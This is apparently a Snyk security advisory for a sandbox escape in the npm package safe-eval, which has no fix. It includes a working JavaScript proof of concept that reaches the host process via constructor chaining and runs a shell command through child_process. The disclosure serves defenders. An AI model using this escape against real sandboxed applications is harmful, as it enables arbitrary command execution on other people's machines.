Sandbox Escape Affecting safe-eval package, versions *



    Exploit Maturity Proof of concept
    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High
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9.8 critical

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  • Snyk ID SNYK-JS-SAFEEVAL-608076
  • published 21 Aug 2020
  • disclosed 28 Feb 2020
  • credit Anirudh Anand

How to fix?

There is no fixed version for safe-eval.


safe-eval is a Safer version of eval()

Affected versions of this package are vulnerable to Sandbox Escape. It is possible for an attacker to run an arbitrary command on the host machine.

POC by Anirudh Anand (for node 12.13.0)

const safeEval = require('safe-eval');

const theFunction = function() { const bad = new Error(); bad.proto = null; bad.stack = { match(outer) { throw outer.constructor.constructor("return process")().mainModule.require('child_process').execSync('whoami').toString(); } }; return bad; };

const untrusted = (${theFunction})(); console.log(safeEval(untrusted));